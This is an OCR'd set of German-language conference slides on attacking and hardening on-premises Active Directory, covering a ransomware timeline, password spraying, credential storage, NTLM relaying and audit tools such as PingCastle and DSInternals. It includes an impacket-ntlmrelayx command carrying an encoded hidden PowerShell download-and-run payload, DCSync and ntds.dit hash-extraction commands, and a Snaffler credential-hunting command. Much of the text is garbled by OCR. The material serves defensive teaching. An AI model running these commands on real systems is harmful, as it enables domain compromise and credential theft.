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Grol3schadensfall Ransomware:
Von Null zum Domanenadmin (thedfirreport.com)

16:31 UTC First Cobalt Strike
loaded by Hancitor

—4

G2 207040 23 64 M/-MSJ

1713 UTC Hancitor loads
second Cobalt Strike beacon =
on beach head host

C2.190 114 254 114 B0 J

17:23 UTC Zerologon Exploited -

2010 exr x % X x DC doman local J
sdministratar <¢ “powershell exn”

17:58 UTC Computer

16:30 UTC Hancitor Execution
via Word

l Hancitor DLL dropped mnd ron

16:33 UTC Domain and Local
Admin Recon

—

NIeAT Jociing damain, png DC. net grouwn
Domain Adming” /doman

omdd oxe /C o WX X X Yies

17:15 UTC Lateral Movement
with Cobalt Strike

Cobalt Strike copind and 1umn on Two srvers

Agent! gl downloaded and exscuted on
one of the serven

17:29 UTC Lateral Movement
to Domain Controllers

p——————————

Cobalt Strike coped and run on Domain
camtrollers

Pl i s A
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Benutzer, Computer, Gruppen etc. sind
Objekte mit Attributen

ADDS-Datenspeicher

Doméane

Domanencontroller

Domane

Baum (DNS)

Domane

Organisationseinheit / Site

Gruppenrichtlinie

FOREST




Jeder authentifizierte Benutzer sieht sehr viel

rundll32 C:\Windows\system32\dsquery.dll,OpenQueryWindow
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Datei Bearbeiten Ansicht

E} Benutzer, Kontakte, Gruppen suchen

Benutzer, Kontakte,
Computer

Drucker
i Freigegebene Ordner

Organisationseinheiten
Benutzerdefinierte Suche

Grup

Berutz

Suchen:|Benutzer, Kontakte, Gruppen

pen

In: : Gesamtes Yerzeichnis

Bedingungsliste:

Hinzufiigen

Entfermen

E-Mail-Adresse Vorhanden

~ | | Durchsuchen...

Jetzt suchen
Beenden

Alle loschen

e

7

'Suchergebnisse:
Marne Typ
?_. Gast Benutzer
?_:. Administrator Benutzer
?_, Gast Benutzer
E;. Administrator Benutzer

E;. Bob Mustermann  Benutzer
E:,Alice Musterfrau  Benutzer
E;. Claus Client Benutzer
E:. Susanne Server Benutzer

Beschreibung

Vordefiniertes Konto far Gastzugriff auf den Computer bzw. die Doméne
Verdefiniertes Konto for die Verwaltung des Computers bzw. der Domane
Vordefiniertes Konto fir Gastzugriff auf den Computer bzw. die Doméne

Verdefiniertes Konto for die Verwaltung des Computers bzw, der Doméane

111 Objekt(e) gefunden
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Update-Management N
Windows-Server-Support

Windows Server

SERVER-VERSION 2012 R2 2016 2019 2022

Ende Mainstream-Support  09.10.2018 11.01.2022 09.01.2024 13.10.2026

Ende Extended-Support 10.10.2023 12.01.2027 09.01.2029 14.10.2031

©
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ms-DS-MachineAccountQuota:
Jeder Benutzer kann 10 Computer anmelden

——

v @ PS> Add-Computer —Domain domain.com

d @ Das Domdnenkonto zu den lokalen
— Adwministratoren hinzufigen.

= @ Alle anderen Administratorkonten

]

entfernen
PR

@ setspn —L <computername>
@ setspn —D HOST/<computername>

di— —
—= _}
T

p—
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Angrift
Uberblick
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Malware-Scanner zentral

Antivirus-Meldungen schnell interpretieren

Antivirus Event Analysis Cheat Sheet

Florian Roth @cyb3rops
Attribute Less Relevant  Relevant Highly Relevant gr.mzm mm’;‘:m Type :ﬂm‘lsl;s'o:mo««
HTML Trojan PassView HackTool Cobaltstr TIoKS: System P
lframe Backdoor ToolNetcat HTool COBEACON R
Keygen Agent Tool-Nmap HKTL Cometer
Joke Malware RemAdm PWCrack Keylogger Common Archive  Not Archived / Extracted, Flle Extensions: ASP ASPX BAT .CHM HTA
Adware JS NetTool SecurityTool MeteTool (21P) Uncommon Archive (RAR, 72, encrypted JSP JSPX .LNK .PHP PS1 SCF .TXT .VBS
Clickjacking Creds Crypto Clearlogs Meterpreter Archive) WAR WSF WSH XML .CS .JPG JPEG .GIF
Crypto PS Scan PHP/BackDoor Metasploit PNG DAT CS
FakeAV PowerShell ASP/BackDoor PowerSSH
Exploit JSP/BackDaor Mimikatz Regular Work Hours Outside Regular Work Hours
Ransom Backdoor. PHP PowerSplolt Well-known Malware (.. mssecsve.exe)  APT related file mentioned in report
Backdoor. ASP PSWTool or no result at all
Backdoor.JSP PWDump
Webshell Swrort Notes > Comments > Flle Detall »
DumpCreds Rozena *Probably Negative user comments Revoked certificate
MPreter Backdoor.Cobait harmless”, Additional Information » Tags » Packers Identified »
Koadic PShiSpy ‘Microsoft software CVE* Rare Packers like: Themida, Enigma, ApLIb,
Razy Packed.Generic.347 catalogue’ Additional Information » Tasm, ExeCryptor, MPRESS, ConfuserEx
ATK/ ISExchgSpawnCMD Flle Size » File names: * virus Comments>
: Less than 16 byte  Additional Information > THOR APT Scanner: "Hacktools®, “Threat
Temp Internet Files  C:\Temp %SystemRoot’ (e.g. C:\Windows) (most Iikely an File names: hash value as file name Groups®, "Webshell”, “Cobalt Strike", *Empire”,
Removable Drive  SRecycle.bin A empty file, error  Packers identified > “Mimikatz', “Veil", Privilege Escalation’,
(E5F-) C\Programbata \\Client\[A-Z]$ (remote session client drive) page etc.) Uncommon Packers like: PECompact, *Password Dumper”, "Koadic®, “Elevation”,
C:\Users\Public \Mtsclient\<drive> ssdeep > VMProtect, Telock, Petite, WinUnpack,  “Winnti*
AppData\Local\Temp C:\Perflogs 3. means file is ASProtect
AppData\Roaming\Temp \\*$ (execution on remote host) filled with zeros oombinations >
G\Windaws'\Temp UL VACIodeg That R kel fox (likely caused by .g. UPX, RARSFX, 7ZSFX and Microsoft
ministrators only AV) Copyright
Standard User Administrative Account
Service Account

Quelle: https://www.nextron-systems.com/2022/08/13/antivirus-event-analysis-cheat-sheet-v1-10-0/
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Passwortangriffe s
Password Spraying (und Credential Stuffing)

Die Konten werden nicht
- | gesperrt, da nur ein Passwort
WI nter2022. In jedem Authentifizierungs-
versuch fur jeden Benutzer
warte x Sekunden/Minuten verwendet wird.
Anschlie3end wartet das
Spraying Tool bevor das
nachste Passwort ausprobiert
wird.

©
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Fine-Grained Password Policies (FGPP)
fur Gruppen oder einzelne Benutzer

Im Active Directory Administration

' : N I TASKS ¥ | | SECTIONS ¥
Create Password Settings: My New Password Policy | | | Center > System ->
- - . ? x Ll - -
Password Settings | Password Settings D@k Password Settings Container
Directly Applies To Marme: My MNew Password Policy Password age options:
Precedence: 1 Enforce minimum password age
Enfarce minimum password length User cannot change the password withi... 1 .
Minimum passwerd length (characters): 7 Enfarce maximum password age G ute An Ieltu ng :
Enforce password history User must change the password after (... 42 .
MNumber of passwords remembered: 24 Enfarce account lockout palicy: httpS .//SpeCOpSSOft. CO m/de/blog/WI
Password must meet complexity requirements Mumber of failed logon attempts allowed: 1] . . .
) i ) Reset failed logon attemnpts count after (m... 30 e'SIe'feln'abgeStlmmte'
[[] Store password using reversible encryption Account will be locked out = . .. . .
® Fora duration of(mins); 30 passwortrichtlinien-in-active-
Protect from accidental deletion ) Until an administrator manually unlocks the account

directory-erstellen/

Description:
This Password Policy Applies to the David Sullivan and members of the PSOTest group

s
Directly Applies To DX Good Practices:

Neme Mail https://www.lepide.com/blog/fine-

- ined- _nolicv- _
mv— grained-password-policy-best

. practices/
#) More Information | = | | = | @




x [ ntheshescom |Fres Actve Dire. X | +

aveibeenpwned.com

Home Notify me Domain search Who's been pwned Passwords API About Donate B '

Pwned Passwords

Pwned Passwords are hundreds of millions of real world passwords previously exposed in data breaches. This exposure makes them
unsuitable for ongoing use as they're at much greater risk of being used to take over other accounts. They're searchable online below as
well as being downloadable for use in other online systems. Read more about how HIBP protects the privacy of searched passwords.

pwned?

Password reuse and credential stuffing

Password reuse is normal. It's extremely risky, but it's so common because it's easy and people aren't aware of the potential impact

Attacks such as credential stuffing take advantage of reused credentials by automating login attempts against systems using known

emails and password pairs.

i Ve

Format Fle Date Size SHA-1 hash of 7-Zip file
m SHAA Version § Dec 2021 17.2GH IctnSE4e6 795 09chaldedi4d 121731 72d54a 1 Te
o orderad by prevalonce )

SHA Version 8§ Dec 2021 1L1GA 34992318 20b04I6 2 chdbe 787 dEd 203 240 TodeBe

Bik

NTLM Version 8 Dec 2021 13868 972087190318450a 7406 7003254168591 661 367
Oowtfve ence)
m NTLM Version 8 Dec 2021 117GB
{o i by bash)

ey



On-Demand-Audit (Closed Source, kostenfrel):
Specops Password Auditor
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G Specops Password Auditor

KioskUser

Adam Admin
Administrator
App Service
Demo Admin
KioskUser
MSOLService
SQL Service

Adam Admin
Adam Patna
Alasteir Blance
Albrecht Jessett
Allyn Conlon
Augy Sargood
Bealle Mollen
Brant Nedlson

Brew Adamovsky

Jere Peschet
Winne Skrzynski
Reidar Dingivan
Staford Guillot
Wheeler Acock
Alyda Tine
Mellie Gregoriou
Jacklyn lacabucci

!“‘
Back | Get PDF Report

Adam Admin, Adam Patria
Demao Admin, SQL Sersice

Donia Momery
Aliyn Conlon
Delora Shorto
Myrwyn Jendrich
Sandy Lepper
Odie Furghy
Phillis Mchenamy
Reid Stallan
Janeia Sherburn

‘Stale Admin Accounts

Adam Admin Adam Admin
Administrator Administrator
Demo Admin

specopsdemo.jocal
Admins Password Policy
Service Accounts Password Policy

KioskUser
MSOLSenace

Admins Password Policy
pecopsdemol.locsl

ervice Accounts Password Policy @

You can strengthen the secunty and increase
the flexibility of your password settings with

¥, Try it today!




& Anmelden
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Problem: Passwort-Wiederverwendung, O
besonders lokaler Admin

A Computer Management

File Action View Help
e HE 0= HE

E'é' [;Dmputer Management (Local|| pame Full Ma... Description
v S}rSt'Iiemk-l;?Dl':Sd I E'::au:lmin
% EES t:f'E LI O Administrator Built-in account for administering the computer/domain
- Ve VIEwEr O, DefaultAccount A user account managed by the system.,
22| Shared Folders &dﬁaultu5eﬂ
v # Local Users and Groups|| 25 . -
= Users Oy Guest Built-in account for guest access to the computer/demain
= Groups o WDAGUtilityAc... A user account managed and used by the systemn for Wind...

@Eﬁj. Performance

oy Device Manager
v 2= Storage

e Disk Management

—4 Services and Applications




SAM-Datenbank:
Speicher fur lokale Benutzer

= >

Passwort

NT Hash Security Accounts Manager (SAM)

(LM auf Legacy-Systemen) Speichert Passwort-Hashes fur
LOKALE Accounts (Built-in Admin,

I MD4-Hash
Ungesalzener as Gast-Account, Lokaler Benutzer...)

des Benutzerpassworts
Auf Domanen-Mitgliedern:
C:\Windows\System32\config\SAM




Local Administrator Password Solution (LAPS):

Abhilfe gegen selbes Passwort beim lokalen Standard-Admin
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& Password Settings

m Password Settings

(O Not Configured
(®) Enabled
O Disabled

Options:

Next Setting

Comment:

Supported on: [ At feast Microsoft Windows Vista or Windows Server 2003 family

Help:

Password Complexity

Password Length |14

Password Age (Days)

Large letters « small letters « numbers « specials

30

o

v

Configures password parameters

Password compleaty: which characters are used when
generating a new password

Default: Large letters + small letters + numbers + special
characters

Password length
Minimum: 8 characters
Maximum: 54 characters
Default: 14 characters

Password age in days
Minimum: 1 day
Maximuny: 365 days
Default: 30 days

o ][ s

Eigenschaften von X
Verwaltet von Objekt Sicherheit Einwahlen
Aligemein  Betriebssystem Miglied von Delegierung Kennwortreplikation = Standort
Attribut-Editor BitLocker-Wiederherstellung

Attribute:

Attribut Wert (o)

msExchWhenSoftDel... <Nicht festgelegt>

msExchWindowsLivelD <Nicht festgelegt>

mslIS-FTPDir <Nicht festgelegt>

mslIS-FTPRoot <Nicht festgelegt>

msimaging-HashAlgor... <Nicht festgelegt>

msimaging-Thumbprin... <Nicht festgelegt>

ms-Mcs-AdmPwd PU+LA2UFAG{aWESB

ms-Mcs-AdmPwdExpi... 132706493448716391

mSMQDigests <Nicht festgelegt>

mSMQDigestsMig <Nicht festgelegt>

mSMQSignCertfficates  <Nicht festgelegt>

mSMQSignCertfficate... <Nicht festgelegt>

msNPAllowDialin <Nicht festgelegt>

msNPCallingStationID  <Nicht festaeleat> b4

< >

; §eabelen Filter
Abbrechen Ubemehmen Hife




LSA Secrets
Windows-Dienstkonten mit Klartextpasswortern

.,.r Dienste _ - <
Datei Aktion Ansicht 7
e FHE e B v

*. Dienste (Lokal) ' Dienste (Lokal)
Backup Tool Mame Beschreibung Starttyp Anmelden als -
. Backup Tool Some fancy backup thing. Automatisch  2CONSULT\demadm_backuptool
Beschreibung: . L@;AIIJD}rn—HDuterdienst Leitet Alloyn-Mitteilungen far die ... Manuell (5t..  Lokaler Dienst
Some fancy backup thing. oy _ _ _ _ ] )
&k Anwendungsidentitit Bestimmt und Oberprift die ldenti...  Manuell (5t...  Lokaler Dienst
@;Arbeitmrdner Won diesern Dienst werden Dateien...  Manuell Lokaler Dienst
L'i!_';hutclr‘n. Setup von Gerdten, ... Der Dienst "Autom. Setup von Ger..  Manuell (5t...  Lokaler Dienst W
Erweitert AStandardf
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Netzwerkfreigaben P o
SYSVOL, normale und ,,versteckte®, die mit $ enden

TXT

passwords.txt




U O Github - SraffConSnaffleri a1 X + = =3 x
github.com ff o % B {\E

¥ master - F Ibaarches © 23129 Go to file m About

3 tool for pentes

README.md cand

A
Q

ters 10 halp find dehcious

by @40ss and @Sh3r4 (

2/mikeloss and

Snaffler

Verb (o w

snaffle (hod-pevson anguisr simple presen! snaflies, prosent pavicipie snaffiing, aumpde past and past partoiple anaffied)

1 (ransive) To put & snaffie on, of control with a snaffe
/ the bridie

2. (trangitivel To cluteh

3 (rangittve, informal) Yo grab or seae; to snap up

A (ranstive, informal 1o puricin, or abtain by devious means. (guotasons ¥ Releases 2

© 0918

What is it for?

Snaffler 15 & tool for pentesters to help find delicious candy needles (creds mostly, but it's fiexible) in 3 bunch of

hornble boring haystacks (a massive Windows/AD environmeant)

It might also be useful for other pecple doing other stulf, but i is explicatly NOT meant to be an "audit” tool

| don't want to read all this!!!

> . Contributors W
Ugh, fine. But we aren't responsible for the results. We wrote all this other stuff for you, but that's okay, We're not

mad. just disappointed ” o 9 t{ * '
DY

snaffler.exe -3 -0 snafflier.log



Zugangsdaten im Arbeitsspeicher
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Werden gespeichert bei:

» Interaktive (lokale) Anmeldung

» Remote Desktop (RDP) Anmeldung

» PSExec mit Zugangsdaten

» Batch-Anmeldung (Scheduled Task)

» RunAs (neue Zugangsdaten)

» PowerShell mit CredSSP Yo orevions |

» Laufenden Diensten Windows 8.1 |

Defaults

Windows 8.1

Features Restricted Admin RDP [N [ [N [ [ S o,

Based on a table by Benjamin Delpy
twittercomy/qgentilkiwi/status/352557093640892416/photo/1

3rd
1GT LM NT Tpkg  Wdigest  Kerb  LiveSSP  Party
SSP

Domain Account NN I [N I I N S —_——

Domain Account | IS I NN N N N —_——

Protected Users [N NN (NN (U N o e

* Off by Default

I o Password Data in Memory
I P25 vword Data in Memory

o



LSA Protection (RunAsPPL, Protected process light)
Keine besonderen Lizenz-/Hardware-Anforderungen
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File

ﬁ Registry Editor

Edit View Favorites Help

L'

AccessProviders
Audit
CentralizedAccessPolicies
ComponentUpdates
Credssp

Data

DPL
FipsAlgorthmPolicy
GBG

1D

Kerberos

MSV1_0

L]

I Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControliLsa I

L=a

Mame Type Data
Eﬂfullprivilegeauditing REG_BIMNARY 00
fg'g']LimitEIankPas.s.wnrdLlse REG_DWORD Onc DOO00000T (1)
_?3'9'] LsaCfgFlagsDefault REG_DWORD Onc DOO00000 (0)
ns|LsaPid REG_DWORD O 0000020 (736)
tia| MoLmHash REG_DWORD OrcDO0O0O0D0T (1)
3}_’] Motification Packages REG_MULTI_SZ scecli
_?3'9'] ProductType REG_DWORD Onc 0000006 (6]
_?5'9'3 restrickanonymous REG_DWORD Ooc OOO0O0000 (0)
j;glrestrictannnvmnus.s.am F{EG_DWUHD O 0000001 (1)
o RunAsPPL REG_DWORD O 00000001 (1)
_?_-'g'ﬂSecureEnnt REG_DWORD Onc DOO0000T (1)

https://docs.microsoft.com/de-de/windows-server/security/credentials-protection-and-management/configuring-additional-Isa-protection




Net-NTLM Relaying

Angriffsziel On-Prem-AD | Frank Ully

Client Attacker Server

. Server . Client
NEGOTIATE ' NEGOTIATE
: Generate
CHALLENGE . CHALLENGE C“a"enge_.
o b6515172c37197b0 SR =S b6515172¢37197b0
‘ > AUTHENTICATE AUTHENTICATE
b6515172c37197b0 @ b6515172c37197b0 -
3 : ; Check
: § response
: : 5 X <

Quelle: https://en.hackndo.com/ntim-relay/



@ Kali - VMware Workstation = o x @ dcwindomain.local - VMware Workstation = X

Fle Edit View VM Tabs Hep | |l ~ | &  @© L @ [0 B O N B [EA-~ File Edit View WM Tabs Help | || ~ | & | @ L © DO B8 O M -
| Gt ‘ ‘@loggef 5 dewindomainlocal | 5! wef.windomain loca \ & wniDwindomaniocd X
BEm- ,om-| & FreeRDP:192.168.38.104 @ root@kali: ~/demo m demo oo aplac
= root@kali: ~/demo —r
Metasploit root@kali: ~/demo RDP
root@kali: ~/demo 104x36

|—# impacket-ntlmrelayx -tf relay-targets.txt -w -smb2support -c 'powershell.exe -nop -w hidden -e WwBOA
GUAdAAUAFMAZQBYAHYAaQB jAGUAUABVAGKAbgBOAEDOAYQBUAGEAZWB1LAHTIAXQA6ADoAUWBLAGMAdQBYAGKAdABSAFAACgBVAHOABWB JA
G8AbAA9AFSATgBLAHQALgBTAGUAYwB1AHIAaQBOAHKAUABYAGSAdABVAGMAbwBSAFQAeQBWAGUAXQA6ADOAVABSAHMAMQAYADSAJABGA | 4 || s | ZA\-vagrant\maliciousink
DOAbgBLAHCALQBVAGIAagBLAGMAJAAEAG4LAZQBOACLAdWBLAGIAYwBSAGKAZQBUAHOAOWBpAGYAKABDAFMAeQBzAHQAZQBTACLATEBLA : Home  iShare  IVied
HQALgBXAGUAYgBQAH IAt)\.nL.AAHl(A‘/.QA().’\Don<\\'CL/\'~lﬂr\ ABLAGYAYQB1AGWAdABQAHIAbwB4AHKAKAAPACLAYOBKAGQACgBLAHMACWAEA v & B s oI6l ki
COAbgB1LACAAJABUAHUADABSACkAewAkAHoALgBWAHIAbwB4AHKAPQBDAE4AZOBOACLAVWBLAGIAUgBLAHEAdQBLAHMAJABAADOAOEBHA
GUAJABTAHKACWBOAGUADOBXAGUAY gBQAHIAbWB4AHKAKAAPADSAJABEACLAUABYAGBAeABSACLAQWBYAGUAZABLAG4AJABPAGEADABZA —— i ReAE e
DOAWWBOAGUAdAAUAEMACcgBLAGOAZQBUAHQAaQBhAGWAQWBhAGN ’«L»ABU\F’),\Og 6AEQAZQBMAGEAJQBSAHQAQWBYAGUAZABLAG4AdABpPA B Desktop 1] interesting 6/20/2021 12:57 PM
GEAbABZzADSAfQA7AEKARQBYACAAKAAOAGLAZQB3ACOAbWB 1AGOAZQB jJAHQATABOAGUAdAAUAF cAZQB iAEMAbABPAGUAbEBOACKAL gBEA & teiics
G8AdWBUAGWAbWBhAGQAUWBOAHIAAQBUAGCAKAANAGEAABOAHAAOZAVACEAY WAYACLAYQBOAHOAYQB JAGSAZQBYACLAYWBOADOAOAAWA JLLLIN
DgAMAAVAHUANABWAHEASgA4AGgAaQBUAESARWAVAFIAQWBXAEBAWABaAGIAZAANACKAKQA7AEKARQ “/ACr\“\r\/\O/\L 4AZOB3ACOAbWBI1A ) Pictures
GoAZQBjAHQATABOAGUAdAAUAFCcAZQBiAEMAbABpAGUAbgBOACKALgBEAGBAdwWBUAGWAbWBhAGQAUWBOAHIAaQBUAGCAKAANAGEAJABOA
HAAOgAVACSAYWAYAC4AYQBOAHQAYQB jAGSAZQBYACLAYWB0oADOAOAAWADEAMAAVAHUANABWAHEASgA4AGEAaQBUAEBARWANACKAKQATZA RS
A==" [ Desktop
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation B e

- Downloads
[*] Protocol Client MSSQL loaded.. i
[*] Protocol Client LDAPS loaded.. T Pictures
[*] Protocol Client LDAP loaded.. W Videos
[*] Protocol Client RPC loaded.. I Windoves 215G}
[*] Protocol Client HTTP loaded.. me e fokien e e )

[*] Protocol Client HTTPS loaded.. & Network
[*] Protocol Client IMAPS loaded..

[*] Protocol Client IMAP loaded..

[*] Protocol Client SMTP loaded..

[*] Protocol Client SMB loaded..

[*] Protocol Client DCSYNC loaded..

[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server

[*] Setting up HTTP Server

[*] Setting up WCF Server
[*] Servers started, waiting for connections Windows Server 2016 Standard Evaluation
[*] SMBD-Thread-5: Connection from WINDOMAIN/ADM_SERVER®192.168.38.102 controlled, attacking target smb: Windows License valid for 166 days
//192.168.38.103 Build 14393151 release.161220-1747

"'m A Tde O



Relaying-Schutz fur jeden Server und Client

SMB-Signierung
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(=] Enforce_SMBSigning
v i Computer Configuration
w || Policies
| Software Settings
w [ Windows Settings
| Mame Resolution Policy
|=| Scripts (Startup/Shutdown)
= Deployed Printers
W -=1'_:_|I Security Settings
- Account Policies
v ] Local Policies
5 Audit Policy

5 User Rights Assignment

Policy
| Interactive logon: Require Domain Controller authentication to unlock workstation

| Interactive logon: Regquire Windows Helle for Business or smart card

Policy Setting
Mot Defined

Mot Defined
It Defined

Interactive lonon: Smant card removal bebavior

| Microsoft network client: Digitally sign communications (always)

Enabled

[ Microsoft network client: Digitally sign communications (it server agrees)
| Microsoft network client: S5end unencrypted password to third-party SME servers
| Microsoft network server: Amount of idle time required before suspending session

ork server ﬂ.H‘Fm!ﬂf CSASelf o ghtain claim information

Mot Defined
Mot Defined
Mot Defined
Mot Defined

| Microsoft network server: Digitally sign communications (always)

Enabled

I __,:'I Security Options

j Event Log
4 Restricted Groups

A Suctem Services

[ Microsoft network server: Digitally sign communications (if client agrees)
| Microsoft network server: Disconnect clients when logeon hours expire
| Microsoft network server Server SPM target name validation level
| Metwork access: Allow anonymous SI0/Mame translation

| Metwork access: Do not allow anonymous enumeration of SAM accounts
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Relaying-Schutz fir Domanencontroller (und ADCS ...) ... 20w«
LDAP-Signierung und -Kanalbindung

|
O
x

File Action View Help
e | 2EXE = HE

(= Pelicy [DCWINDOMAIN.LOCAL] Policy * || Policy Policy Setting ™ ||
w i Computer Configuration

v [ Policies 4 Domain controller: LDAP server signing requirements Pro... ? >
| Software Settings . i )
- Security Policy Settin i |
v [ ] Windows Settings o iy Feliey 9 | Bxlain |

b =

| Mame Resolution Policy Domain controller: LDAP server signing requirements

| Seripts (Startup/Shutdown) 3 =g |
= Deployed Printers 3
v B Security Settings 3 Define this policy setting '
=4 Account Policies 4 Require signing i |
= |
v & Local Policies & 9
| Audit Policy 4 Modifying this setting may affect compatibility with clients, services,
:.:EI User Righte Acsi : & and applications.
sl Mser .Ig s ; ssignmen 3 For more information, see Domain controller: LDAP server signing
| Security Options 4 requirements. (3523659
& Eventlog g

4, Restricted Groups
4, System Services
4 Registry

4 File System
237 Wired Network (IEEE 802.3) P, |
~| Windows Firewall with Advar
| Network List Manager Policie
_;-_,@ Wireless Metwork (IEEE 802,11
| Public Key Policies |
| Software Restriction Policies b |
| Application Contral Policies 3
g IP Security Policies on Active 3
| Advanced Audit Policy Confi 4 |

alyy Policy-based Go5 g Cancel Apply
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Audit-Werkzeuge
PingCastle (Open Source, fur eigene Nutzung lizenzfrel)

X ig

'PING CASTLE
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Audit-Werkzeuge N
PingCastle (Open Source, fur eigene Nutzung lizenzfrel)

& C\Users\Agaid1973\Desktop\pingcastie\pingcastie\PingCastle exe
(Version 2.9.0.90 07.08.2020

ctory Security at 806%

Vincent OUX (contact@pingcastle.com)
twitter: @mysmartlogon https:/ w.pingcastle.«

do you want to do?

other command line switches like --help that you can

2-conso Aggregate multiple reports into a single one
3-carto ld a map of all interconnected domains
A-scanner Perform specific security checks on workstations

-advanced Open the advanced menu

PingCastle. In a matter of minutes, 1t produces report which will give you

security. This report can be generated on other domains by using the existing trust

1iew of your Active
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PingCastle o
(Open Source, fur eigene Nutzung lizenzfrei)

Im} 4 windomainlocal PingCastle 2020 X | -+ - O X
G Q) ad_demaos_open_in_edge/pingcastle/ad_hc_windomain.local.html @ {E 'i:\f :
-4 2022-08-02  About
" PING CASTLE
50

Privileged Accounts : 70 /100

It is about administrators of the Active Directory

o 100

Presence of Admin accounts which do not have the flag "this account is sensitive and cannot be delegated™: 15 + 20 Poaint(s)

Users in Admins groups = 15 (more than 50 or than 10% of all active users) + 10 Point(s)
The Recycle Bin is not enabled + 10 Point(s)
+ 10 Point(s)

The group Schema Admins is not empty: 1 account(s)

Number of admins not in Protected Users: 15 + 10 Point(s)

Number of members of the Dns Admins group: 3 + 3 Point(s)

Unconstrained delegations are configured on the domain: 1 account(s) + 5 Point(s)

Informative rule

1 operator group(s) are not empty




PingCastle
(Open Source, fur eigene Nutzung lizenzfrei)

Im} 4 windomainlocal PingCastle 2020 X | -+ - O X
G Q) ad_demaos_open_in_edge/pingcastle/ad_hc_windomain.local.html @ {E 'if\f :
4 2022-08-24  About
PING CASTI

If the report has been saved which the full details, each object can be zoomed with its full detail. If it is not the case, for privacy reasons, only general statistics are available.

Search .

Group or user account Priority Number of users member of the group Number of object having indirect control Number of unreso
Account Operators High 1 10 including EVERYONE

Administrator Critical 1

Administrators Critical 11 9 including EVERYONE

Backup Operators High 9 8§ including EVERYONE

Certificate Operators Medium 0 0

Certificate Publishers Other 0 0

Dns Admins Medium 1 1

Domain Administrators Critical 8 9 including EVERYONE

Enterprise Administrators Critical 1 1

Print Operators Medium 12 11 including EVERYONE




IX-Sonderheft ,,Sicheres Active Directory“

KOMPAKT == E

= Sicheres
Active Directory

Microsofts AD, Azure AD und Azure-Dienste
vor Angriffen schiitzen

Denken wie ein Hacker
Angiifie kennen, verstebn und verbirgenn

SchutzmaBnahmen fir das AD
Konfigurationen, Gruppensichtérien und meby

: Passwérter
‘Grundschutzkonformes AD N ) Ky AD

; Azule AD und Zero Trust

~ Modeme Absicherung fir mobiles Arbeiten, Cloud-Anwendungen und BYOD

' 1 Container, Storage  Cloud |
roanregron ey rpieeentieneyg,
Secoort | Bamied \B‘
R - — "

Grundlagen

Ressourcenmanagement
Komfortable IT-Schaltzentrale mit Schwachpunkten

Strukturiiberblick
Ein Verzeichnisdienst far alle(s)

Informationsbeschaffung
Was jeder Domanenbenutzer alles sieht

Wissenspool
Ausgewahlte Quellen und Werkzeuge zur Sicherheit
von Active Directory

Warterverzeichnis
Das Active-Directory-Glossar

Angriffsszenarien

Passworter und Hashes
Wie Angreifer die Domane kompromittieren

Berechtigungen

Wie Angreifer sich im Active Directory Zugriff verschaffen

Rechtevergabe
Wie Angreifer Tickets, Delegierung und
Trusts missbrauchen

Inter-Forest und Persistenz

Wie Angreifer sich Gber einen AD-Forest hinaus ausbreiten

NTML-Schwachstelle

PetitPotam und weitere Wege, die Kontrolle Gber
das Active Directory zu Gbernehmen

Abwehrstrategien
Gruppenrichtlinien und mehr
Wie Administratoren ihr Active Directory absichern

Selbstaudits
AD-HartungsmaRnahmen jenseits von Group Policies

16

24

32

36

42

49

56

64

80

86

Incident Response und Forensik
Angreifer durch Logs enttarnen
Deception

Wie Angreifer in die Falle gelockt werden

Zugangsdaten
Passwortsicherheit (nicht nur) im
Active Directory

IT-Grundschutz
Active Directory grundschutzkonform absichern

Marktibersicht
Tools fir die Absicherung des Active Directory

IT-Forensik
Angriffsspuren analysieren

Azure AD

Grundlagen
Das Azure Active Directory und Azure-Dienste

Angriffsvektoren
Angriffe auf das Azure Active Directory
und Azure-Dienste

SchutzmaRnahmen
Azure Active Directory und Azure-Dienste absichern

Zugriffsmanagement
Azure Active Directory und Zero Trust

Forensik und Logging
Angriffe auf Azure Active Directory entdecken
und nachvollziehen

Sonstiges

Editorial
Impressum
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128

155
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On-Demand-Audit (Open Source):
https://github.com/MichaelGrafnetter/DSInternals

Angriffsziel On-Prem-AD | Frank Ully

PS > Install-Module -Name DSInternals -Force

PS > curl https://downloads.pwnedpasswords.com/passwords/pwned-passwords-ntlm-ordered-by-hash-v8.7z -0 pwned-
passwords-ntlm-ordered-by-hash-v8.7z # 12 GB
PS > 7z e pwned-passwords-ntlm-ordered-by-hash-v8.7z

PS curl https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Copy-VSS.psl -0 Copy-VSS.psl
PS Import-Module .\Copy-VSS.psl
PS > Copy-VSS -DestinationDir C:\Audit\

PS > $key = Get-BootKey -SystemHiveFilePath 'C:\Audit\SYSTEM'
PS Get-ADDBAccount -DistinguishedName: 'CN=Joe Smith,OU=Employees,DC=contoso,DC=com' °
-BootKey $key °
-DatabasePath 'C:\IFM Backup\Active Directory\ntds.dit’
Get-ADDBAccount -All -DatabasePath 'C:\IFM Backup\Active Directory\ntds.dit' -BootKey $key | °
Test-PasswordQuality -WeakPasswordHashesSortedFile pwned-passwords-ntlm-ordered-by-hash-v8.txt

# Online-Variante mit DCSync (Domdanenadmin o.a.)
PS > Get-ADReplAccount -All -Server DC -NamingContext "dc=ad,dc=2consult,dc=ch" | Test-PasswordQuality [...]
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Live-Passwort-Filter (Microsoft, kostenpflichtig):
Azure AD Password Protection

Benutzerdefinierte intelligente Sperre

Schwellenwert fur Sperre © 10

Sperrdauer in Sekunden () 60

Benutzerdefinierte gesperrte Kennworter Active Directory Domain Services x

Benutzerdefinierte Liste erzwingen O Nein )

Windows cannot complete the password change for testuser
because:

Liste benutzerdefinjerter gesperrter produkte e The password does not meet the password policy

Kennworter () markennamen requirements, Check the minimum password length,
branche password complexity and password history requirements.,
orte

i [ ox ]

Kennwortschutz fir Windows Server Active Directory

Kennwortschutz far Windows Server ' Nein

Active Directory aktivieren (O

Modus @ Uberwachung )
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Live-Passwort-Filter (Open Source, kostenfrei):
Lithnet Password Protection Filter

C Lithnet
s Password Protection
for Active Directory

Allow password change?

Yes fno

Load weak passwords from file

blacklist 5
txt >

. Compare vs. requested passwords -

Custom list of
disallowed passwords

Password
Filter




[ & HowtwoAmackand Remedate f X |

& O @] www,netspi.com/L wchi et elea s t f : A & q‘ a3 v G

L -
:.:: NETSPI Penetration Testing Adversary Simulation Attack Surtace Managemont Resources About Us Get a Quote

Attacking and Remediating
Excessive Network Share

Permissions in Active Directory

Environments

August 9, 2022 |

